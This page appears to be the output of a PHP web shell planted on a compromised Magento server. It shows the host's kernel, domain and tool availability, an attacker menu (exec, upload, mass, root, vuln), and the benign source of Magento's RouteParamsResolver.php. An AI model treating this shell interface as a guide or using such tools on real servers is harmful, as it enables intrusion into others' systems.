Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 03:13:56
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/Url/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/Url/RouteParamsResolver.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Url; use Magento\Framework\Url\RouteParamsResolverInterface; /** * Route params resolver. * * @method $this setType(string $type) * @method string getType() * @method $this setScope(string $scope) * @method string getScope() * @method $this setSecureIsForced(bool $isForced) * @method bool getSecureIsForced() * @method $this setSecure(bool $isForced) * @method bool getSecure() */ class RouteParamsResolver extends \Magento\Framework\DataObject implements RouteParamsResolverInterface { /** * @var \Magento\Framework\App\RequestInterface */ protected $request; /** * @var \Magento\Framework\Url\QueryParamsResolverInterface */ protected $queryParamsResolver; /** * @var \Magento\Framework\Escaper */ protected $escaper; /** * @param \Magento\Framework\App\RequestInterface $request * @param \Magento\Framework\Url\QueryParamsResolverInterface $queryParamsResolver * @param array $data */ public function __construct( \Magento\Framework\App\RequestInterface $request, \Magento\Framework\Url\QueryParamsResolverInterface $queryParamsResolver, array $data = [] ) { parent::__construct($data); $this->request = $request; $this->queryParamsResolver = $queryParamsResolver; } /** * {@inheritdoc} * @SuppressWarnings(PHPMD.CyclomaticComplexity) * @SuppressWarnings(PHPMD.NPathComplexity) */ public function setRouteParams(array $data, $unsetOldParams = true) { if (isset($data['_type'])) { $this->setType($data['_type']); unset($data['_type']); } if (isset($data['_forced_secure'])) { $this->setSecure((bool)$data['_forced_secure']); $this->setSecureIsForced(true); unset($data['_forced_secure']); } elseif (isset($data['_secure'])) { $this->setSecure((bool)$data['_secure']); unset($data['_secure']); } if (isset($data['_absolute'])) { unset($data['_absolute']); } if ($unsetOldParams) { $this->unsetData('route_params'); } if (isset($data['_current'])) { if (is_array($data['_current'])) { foreach ($data['_current'] as $key) { if (array_key_exists($key, $data) || !$this->request->getUserParam($key)) { continue; } $data[$key] = $this->request->getUserParam($key); } } elseif ($data['_current']) { foreach ($this->request->getUserParams() as $key => $value) { if (array_key_exists($key, $data) || $this->getRouteParam($key)) { continue; } $data[$key] = $value; } foreach ($this->request->getQuery() as $key => $value) { $this->queryParamsResolver->setQueryParam($key, $value); } } unset($data['_current']); } if (isset($data['_use_rewrite'])) { unset($data['_use_rewrite']); } foreach ($data as $key => $value) { if (!is_scalar($value) || $key == 'key' || !$this->getData('escape_params')) { $this->setRouteParam($key, $value); } else { $this->setRouteParam( $this->getEscaper()->encodeUrlParam($key), $this->getEscaper()->encodeUrlParam($value) ); } } return $this; } /** * {@inheritdoc} */ public function setRouteParam($key, $data) { $params = $this->_getData('route_params'); if (isset($params[$key]) && $params[$key] == $data) { return $this; } $params[$key] = $data; $this->unsetData('route_path'); return $this->setData('route_params', $params); } /** * {@inheritdoc} */ public function getRouteParams() { return $this->_getData('route_params'); } /** * {@inheritdoc} */ public function getRouteParam($key) { return $this->getData('route_params', $key); } /** * Get escaper * * @return \Magento\Framework\Escaper * @deprecated 101.0.0 */ private function getEscaper() { if ($this->escaper == null) { $this->escaper = \Magento\Framework\App\ObjectManager::getInstance() ->get(\Magento\Framework\Escaper::class); } return $this->escaper; } }